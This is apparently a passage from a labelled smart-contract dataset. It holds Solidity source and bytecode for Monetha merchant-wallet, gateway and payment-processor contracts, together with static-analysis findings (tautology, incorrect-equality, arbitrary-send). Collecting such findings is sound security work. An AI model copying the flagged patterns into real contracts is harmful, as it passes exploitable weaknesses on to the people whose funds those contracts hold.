ffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507feb96a502f0b82673cf45590d7d210da1db59a5718de5d7e6353040518077c74581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600154905090565b6000600360149054906101000a900460ff1680610a175750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a6f5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a7a57600080fd5b610a85848484611646565b90509392505050565b601281565b600360149054906101000a900460ff1681565b610ab03382611a00565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bc4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c58565b610bd78382611bb390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f605750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f6b57600080fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507feb96a502f0b82673cf45590d7d210da1db59a5718de5d7e6353040518077c745600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001600360146101000a81548160ff021916908315150217905550565b6040805190810160405280600581526020017f434841525400000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611163573d6000803e3d6000fd5b50565b6000600360149054906101000a900460ff16806111d05750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806112285750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561123357600080fd5b61123d8383611bcc565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112fc82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611deb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561158657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561168357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116d057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561175b57600080fd5b6117ac826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611deb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611a4d57600080fd5b611a9e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af581600154611bb390919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211151515611bc157fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c5657600080fd5b611ca7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611deb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515611dfe57fe5b809050929150505600a165627a7a72305820d788cac26ca3f875e9b6d69bbdab26cbe3f5f3be8d8f1237d0eeff97f39ede520029
|
{"success": true, "error": null, "results": {}}
| 4,004 |
0x37285c088e5028212679362fbb28d46f2b3da1aa
|
pragma solidity 0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Restricted.sol
/** @title Restricted
* Exposes onlyMonetha modifier
*/
contract Restricted is Ownable {
//MonethaAddress set event
event MonethaAddressSet(
address _address,
bool _isMonethaAddress
);
mapping (address => bool) public isMonethaAddress;
/**
* Restrict methods in such way, that they can be invoked only by monethaAddress account.
*/
modifier onlyMonetha() {
require(isMonethaAddress[msg.sender]);
_;
}
/**
* Allows owner to set new monetha address
*/
function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public {
isMonethaAddress[_address] = _isMonethaAddress;
MonethaAddressSet(_address, _isMonethaAddress);
}
}
// File: contracts/SafeDestructible.sol
/**
* @title SafeDestructible
* Base contract that can be destroyed by owner.
* Can be destructed if there are no funds on contract balance.
*/
contract SafeDestructible is Ownable {
function destroy() onlyOwner public {
require(this.balance == 0);
selfdestruct(owner);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/ownership/Contactable.sol
/**
* @title Contactable token
* @dev Basic version of a contactable contract, allowing the owner to provide a string with their
* contact information.
*/
contract Contactable is Ownable{
string public contactInformation;
/**
* @dev Allows the owner to set a string with their contact information.
* @param info The contact information to attach to the contract.
*/
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
// File: contracts/MerchantWallet.sol
/**
* @title MerchantWallet
* Serves as a public Merchant profile with merchant profile info,
* payment settings and latest reputation value.
* Also MerchantWallet accepts payments for orders.
*/
contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted {
string constant VERSION = "0.3";
/// Address of merchant's account, that can withdraw from wallet
address public merchantAccount;
/// Unique Merchant identifier hash
bytes32 public merchantIdHash;
/// profileMap stores general information about the merchant
mapping (string=>string) profileMap;
/// paymentSettingsMap stores payment and order settings for the merchant
mapping (string=>string) paymentSettingsMap;
/// compositeReputationMap stores composite reputation, that compraises from several metrics
mapping (string=>uint32) compositeReputationMap;
/// number of last digits in compositeReputation for fractional part
uint8 public constant REPUTATION_DECIMALS = 4;
modifier onlyMerchant() {
require(msg.sender == merchantAccount);
_;
}
/**
* @param _merchantAccount Address of merchant's account, that can withdraw from wallet
* @param _merchantId Merchant identifier
*/
function MerchantWallet(address _merchantAccount, string _merchantId) public {
require(_merchantAccount != 0x0);
require(bytes(_merchantId).length > 0);
merchantAccount = _merchantAccount;
merchantIdHash = keccak256(_merchantId);
}
/**
* Accept payment from MonethaGateway
*/
function () external payable {
}
/**
* @return profile info by string key
*/
function profile(string key) external constant returns (string) {
return profileMap[key];
}
/**
* @return payment setting by string key
*/
function paymentSettings(string key) external constant returns (string) {
return paymentSettingsMap[key];
}
/**
* @return composite reputation value by string key
*/
function compositeReputation(string key) external constant returns (uint32) {
return compositeReputationMap[key];
}
/**
* Set profile info by string key
*/
function setProfile(
string profileKey,
string profileValue,
string repKey,
uint32 repValue
) external onlyOwner
{
profileMap[profileKey] = profileValue;
if (bytes(repKey).length != 0) {
compositeReputationMap[repKey] = repValue;
}
}
/**
* Set payment setting by string key
*/
function setPaymentSettings(string key, string value) external onlyOwner {
paymentSettingsMap[key] = value;
}
/**
* Set composite reputation value by string key
*/
function setCompositeReputation(string key, uint32 value) external onlyMonetha {
compositeReputationMap[key] = value;
}
/**
* Allows withdrawal of funds to beneficiary address
*/
function doWithdrawal(address beneficiary, uint amount) private {
require(beneficiary != 0x0);
beneficiary.transfer(amount);
}
/**
* Allows merchant to withdraw funds to beneficiary address
*/
function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused {
doWithdrawal(beneficiary, amount);
}
/**
* Allows merchant to withdraw funds to it's own account
*/
function withdraw(uint amount) external {
withdrawTo(msg.sender, amount);
}
/**
* Allows merchant to withdraw funds to beneficiary address with a transaction
*/
function sendTo(address beneficiary, uint amount) external onlyMerchant whenNotPaused {
doWithdrawal(beneficiary, amount);
}
/**
* Allows merchant to change it's account address
*/
function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused {
merchantAccount = newAccount;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Destructible.sol
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/MonethaGateway.sol
/**
* @title MonethaGateway
*
* MonethaGateway forward funds from order payment to merchant's wallet and collects Monetha fee.
*/
contract MonethaGateway is Pausable, Contactable, Destructible, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.4";
/**
* Fee permille of Monetha fee.
* 1 permille (‰) = 0.1 percent (%)
* 15‰ = 1.5%
*/
uint public constant FEE_PERMILLE = 15;
/**
* Address of Monetha Vault for fee collection
*/
address public monethaVault;
/**
* Account for permissions managing
*/
address public admin;
event PaymentProcessed(address merchantWallet, uint merchantIncome, uint monethaIncome);
/**
* @param _monethaVault Address of Monetha Vault
*/
function MonethaGateway(address _monethaVault, address _admin) public {
require(_monethaVault != 0x0);
monethaVault = _monethaVault;
setAdmin(_admin);
}
/**
* acceptPayment accept payment from PaymentAcceptor, forwards it to merchant's wallet
* and collects Monetha fee.
* @param _merchantWallet address of merchant's wallet for fund transfer
* @param _monethaFee is a fee collected by Monetha
*/
function acceptPayment(address _merchantWallet, uint _monethaFee) external payable onlyMonetha whenNotPaused {
require(_merchantWallet != 0x0);
require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(msg.value).div(1000)); // Monetha fee cannot be greater than 1.5% of payment
uint merchantIncome = msg.value.sub(_monethaFee);
_merchantWallet.transfer(merchantIncome);
monethaVault.transfer(_monethaFee);
PaymentProcessed(_merchantWallet, merchantIncome, _monethaFee);
}
/**
* changeMonethaVault allows owner to change address of Monetha Vault.
* @param newVault New address of Monetha Vault
*/
function changeMonethaVault(address newVault) external onlyOwner whenNotPaused {
monethaVault = newVault;
}
/**
* Allows other monetha account or contract to set new monetha address
*/
function setMonethaAddress(address _address, bool _isMonethaAddress) public {
require(msg.sender == admin || msg.sender == owner);
isMonethaAddress[_address] = _isMonethaAddress;
MonethaAddressSet(_address, _isMonethaAddress);
}
/**
* setAdmin allows owner to change address of admin.
* @param _admin New address of admin
*/
function setAdmin(address _admin) public onlyOwner {
require(_admin != 0x0);
admin = _admin;
}
}
// File: contracts/PrivatePaymentProcessor.sol
contract PrivatePaymentProcessor is Pausable, Destructible, Contactable, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.4";
// Order paid event
event OrderPaid(
uint indexed _orderId,
address indexed _originAddress,
uint _price,
uint _monethaFee
);
// Payments have been processed event
event PaymentsProcessed(
address indexed _merchantAddress,
uint _amount,
uint _fee
);
// PaymentRefunding is an event when refunding initialized
event PaymentRefunding(
uint indexed _orderId,
address indexed _clientAddress,
uint _amount,
string _refundReason);
// PaymentWithdrawn event is fired when payment is withdrawn
event PaymentWithdrawn(
uint indexed _orderId,
address indexed _clientAddress,
uint amount);
/// MonethaGateway contract for payment processing
MonethaGateway public monethaGateway;
/// Address of MerchantWallet, where merchant reputation and funds are stored
MerchantWallet public merchantWallet;
/// Merchant identifier hash, that associates with the acceptor
bytes32 public merchantIdHash;
enum WithdrawState {Null, Pending, Withdrawn}
struct Withdraw {
WithdrawState state;
uint amount;
address clientAddress;
}
mapping (uint=>Withdraw) public withdrawals;
/**
* Private Payment Processor sets Monetha Gateway and Merchant Wallet.
* @param _merchantId Merchant of the acceptor
* @param _monethaGateway Address of MonethaGateway contract for payment processing
* @param _merchantWallet Address of MerchantWallet, where merchant reputation and funds are stored
*/
function PrivatePaymentProcessor(
string _merchantId,
MonethaGateway _monethaGateway,
MerchantWallet _merchantWallet
) public
{
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(_merchantId);
setMonethaGateway(_monethaGateway);
setMerchantWallet(_merchantWallet);
}
/**
* payForOrder is used by order wallet/client to pay for the order
* @param _orderId Identifier of the order
* @param _originAddress buyer address
* @param _monethaFee is fee collected by Monetha
*/
function payForOrder(
uint _orderId,
address _originAddress,
uint _monethaFee
) external payable whenNotPaused
{
require(_orderId > 0);
require(_originAddress != 0x0);
require(msg.value > 0);
monethaGateway.acceptPayment.value(msg.value)(merchantWallet, _monethaFee);
// log payment event
OrderPaid(_orderId, _originAddress, msg.value, _monethaFee);
}
/**
* refundPayment used in case order cannot be processed and funds need to be returned
* This function initiate process of funds refunding to the client.
* @param _orderId Identifier of the order
* @param _clientAddress is an address of client
* @param _refundReason Order refund reason
*/
function refundPayment(
uint _orderId,
address _clientAddress,
string _refundReason
) external payable onlyMonetha whenNotPaused
{
require(_orderId > 0);
require(_clientAddress != 0x0);
require(msg.value > 0);
require(WithdrawState.Null == withdrawals[_orderId].state);
// create withdraw
withdrawals[_orderId] = Withdraw({
state: WithdrawState.Pending,
amount: msg.value,
clientAddress: _clientAddress
});
// log refunding
PaymentRefunding(_orderId, _clientAddress, msg.value, _refundReason);
}
/**
* withdrawRefund performs fund transfer to the client's account.
* @param _orderId Identifier of the order
*/
function withdrawRefund(uint _orderId)
external whenNotPaused
{
Withdraw storage withdraw = withdrawals[_orderId];
require(WithdrawState.Pending == withdraw.state);
address clientAddress = withdraw.clientAddress;
uint amount = withdraw.amount;
// changing withdraw state before transfer
withdraw.state = WithdrawState.Withdrawn;
// transfer fund to clients account
clientAddress.transfer(amount);
// log withdrawn
PaymentWithdrawn(_orderId, clientAddress, amount);
}
/**
* setMonethaGateway allows owner to change address of MonethaGateway.
* @param _newGateway Address of new MonethaGateway contract
*/
function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner {
require(address(_newGateway) != 0x0);
monethaGateway = _newGateway;
}
/**
* setMerchantWallet allows owner to change address of MerchantWallet.
* @param _newWallet Address of new MerchantWallet contract
*/
function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner {
require(address(_newWallet) != 0x0);
require(_newWallet.merchantIdHash() == merchantIdHash);
merchantWallet = _newWallet;
}
}
|
0x6060604052600436106100f85763ffffffff60e060020a60003504166331d4132581146100fd57806331d4fad41461013057806336f7ab5e146101565780633f4ba83a146101e05780635c975abb146101f35780635cc07076146102065780636137412c1461026057806383197ef01461028f5780638456cb59146102a25780638da5cb5b146102b55780639d153495146102c8578063b440bf39146102de578063b5ac7c27146102fd578063b967a52e14610317578063bc85e06414610368578063c07e33911461037b578063ddda66db1461039f578063f0daba01146103be578063f2fde38b146103e3578063f5074f4114610402575b600080fd5b341561010857600080fd5b61011c600160a060020a0360043516610421565b604051901515815260200160405180910390f35b610154600480359060248035600160a060020a031691604435918201910135610436565b005b341561016157600080fd5b6101696105b9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a557808201518382015260200161018d565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101eb57600080fd5b610154610657565b34156101fe57600080fd5b61011c6106d6565b341561021157600080fd5b61021c6004356106e6565b6040518084600281111561022c57fe5b60ff16815260200183815260200182600160a060020a0316600160a060020a03168152602001935050505060405180910390f35b341561026b57600080fd5b610273610714565b604051600160a060020a03909116815260200160405180910390f35b341561029a57600080fd5b610154610723565b34156102ad57600080fd5b61015461074c565b34156102c057600080fd5b6102736107d0565b34156102d357600080fd5b6101546004356107df565b34156102e957600080fd5b610154600160a060020a03600435166108b6565b610154600435600160a060020a0360243516604435610915565b341561032257600080fd5b61015460046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a1895505050505050565b341561037357600080fd5b610273610a4a565b341561038657600080fd5b610154600160a060020a03600435166024351515610a59565b34156103aa57600080fd5b610154600160a060020a0360043516610ae5565b34156103c957600080fd5b6103d1610bb5565b60405190815260200160405180910390f35b34156103ee57600080fd5b610154600160a060020a0360043516610bbb565b341561040d57600080fd5b610154600160a060020a0360043516610c56565b60026020526000908152604090205460ff1681565b600160a060020a03331660009081526002602052604090205460ff16151561045d57600080fd5b60005460a060020a900460ff161561047457600080fd5b6000841161048157600080fd5b600160a060020a038316151561049657600080fd5b600034116104a357600080fd5b60008481526006602052604090205460ff1660028111156104c057fe5b156104ca57600080fd5b6060604051908101604052806001815234602080830191909152600160a060020a038616604092830152600087815260069091522081518154829060ff1916600183600281111561051757fe5b0217905550602082015181600101556040820151600291909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392831617905584169050847f26e77179a69c2db5e1f39af4e228bc8c2205384ba14b8c1e3339049db4ee42c534858560405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a350505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b505050505081565b60005433600160a060020a0390811691161461067257600080fd5b60005460a060020a900460ff16151561068a57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60066020526000908152604090208054600182015460029092015460ff9091169190600160a060020a031683565b600354600160a060020a031681565b60005433600160a060020a0390811691161461073e57600080fd5b600054600160a060020a0316ff5b60005433600160a060020a0390811691161461076757600080fd5b60005460a060020a900460ff161561077e57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b600080548190819060a060020a900460ff16156107fb57600080fd5b6000848152600660205260409020805490935060ff16600281111561081c57fe5b60011461082857600080fd5b50506002818101546001830154835460ff19169092178355600160a060020a031690816108fc82150282604051600060405180830381858888f19350505050151561087257600080fd5b81600160a060020a0316847fbe85bf3b0a1e335a22c461f84cf759dfe589ec1539caf4dce60f999d72dd8e238360405190815260200160405180910390a350505050565b60005433600160a060020a039081169116146108d157600080fd5b600160a060020a03811615156108e657600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005460a060020a900460ff161561092c57600080fd5b6000831161093957600080fd5b600160a060020a038216151561094e57600080fd5b6000341161095b57600080fd5b600354600454600160a060020a0391821691632ac68b78913491168460405160e060020a63ffffffff8616028152600160a060020a03909216600483015260248201526044016000604051808303818588803b15156109b957600080fd5b6125ee5a03f115156109ca57600080fd5b5050505081600160a060020a0316837f1a9df17bc46d3a01929944669671ff9da8906ec5d59a9d0495ecb656c7673b62348460405191825260208201526040908101905180910390a3505050565b60005433600160a060020a03908116911614610a3357600080fd5b6001818051610a46929160200190610c7d565b5050565b600454600160a060020a031681565b60005433600160a060020a03908116911614610a7457600080fd5b600160a060020a03821660009081526002602052604090819020805460ff19168315151790557fa551de8741dbb2092ce6bc142fd0ff3af5dfbf87d0aa594619fccddb0141e692908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610b0057600080fd5b600160a060020a0381161515610b1557600080fd5b600554600160a060020a03821663f0daba016000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b5e57600080fd5b6102c65a03f11515610b6f57600080fd5b5050506040518051919091149050610b8657600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b60005433600160a060020a03908116911614610bd657600080fd5b600160a060020a0381161515610beb57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610c7157600080fd5b80600160a060020a0316ff5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610cbe57805160ff1916838001178555610ceb565b82800160010185558215610ceb579182015b82811115610ceb578251825591602001919060010190610cd0565b50610cf7929150610cfb565b5090565b610d1591905b80821115610cf75760008155600101610d01565b905600a165627a7a7230582087ea36fbf8deedabdbc194bc74056d4e191ff1098381b10262d5495f571245070029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,005 |
0xeCd5B049EC7Ef37985a9DdA4955d9A2AAd1c7CF7
|
pragma solidity 0.7.6;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers, throws on overflow.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
return a % b;
